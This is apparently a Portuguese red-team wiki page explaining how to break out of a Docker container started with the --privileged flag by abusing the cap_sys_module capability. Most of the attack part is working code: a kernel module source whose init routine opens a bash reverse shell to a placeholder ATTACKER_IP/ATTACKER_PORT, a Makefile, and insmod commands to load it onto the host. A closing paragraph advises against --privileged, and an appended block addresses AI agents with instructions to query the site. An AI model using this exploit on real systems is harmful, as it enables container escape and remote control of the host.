# privileged flag

## Apresentação

Quando um contêiner é executado usando a flag **--privileged**, esse contêiner possui mais **capabilities**, e com isso podemos atacar esse contêiner e conseguir acesso ao host.

## Capabilities

As capabilities representam a capacidade de um processo acessar um certo recurso, limitando ou disponibilizando tal permissão, por exemplo, a capabilitie **cap\_sys\_module** tem permissão de carregar módulos de kernel no linux.

## Recon

Para ver as capabilities que o contêiner tem acesso podemos utilizar o seguinte comando

```
capsh --print
```

Caso não exista esse comando no contêiner, você pode instalar ele, no meu caso vou usar o utilitário de gerenciamento de pacotes **APK** do alpine

```
apk add -U libcap
```

Irei mostrar o resultado em dois contêiners, um possui a flag. **--privileged** setada e o outro não

<figure><img src="/files/ZL282Zh1JdqRNVbXoB3Q" alt=""><figcaption><p>Without privileged tag</p></figcaption></figure>

<figure><img src="/files/CRNHAQKaDEdNup8O1G31" alt=""><figcaption><p>With privileged tag</p></figcaption></figure>

Circulei os 3 capabilities perigosos

* cap\_sys\_module
* cap\_sys\_ptrace
* cap\_sys\_admin

Irei mostrar a exploração através do **cap\_sys\_module**, vamos simplesmente pegar um módulo de kernel que faça uma reverse shell e carregar esse módulo no docker que consequetemente ele irá carregar no host, assim a gente irá pegar revshell no host.

Vamos criar esse arquivo chamado "**priv.c**"

```
#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1";

char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit connect_back_exit(void){
printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);
```

Após isso vamos criar o "**Makefile**"

```
obj-m = priv.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
```

Vamos compilar:

```
make
```

Após compilar teremos o arquivo **.ko**, vamos fazer o download dele no contêiner utilizando python3 no meu caso, após fazer o download, siga os comandos

> chmod +x rev.ko && insmod rev.ko

Podemos verificar se o módulo foi carregado

<figure><img src="/files/y9qpxOZQ6FzKTiV5FLwJ" alt=""><figcaption></figcaption></figure>

Após isso só verificar o nosso listener

<figure><img src="/files/MfRMRGP9KliFh3YxBOiL" alt=""><figcaption></figcaption></figure>

## Conclusão

Não é uma boa prática utilizar a flag **--privileged**, caso usada o atacante pode mapear os capabilities disponíveis e utilizar eles para a escalação de privilégio, se for utilizar apenas por conta dos capabilities, olhe como gerenciar os capabilities [**aqui**](/redteam/docker/defenses/capabilities.md) sem a necessidade de usar a flag **privileged**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vida03.gitbook.io/redteam/docker/docker-breakout/privileged-flag.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
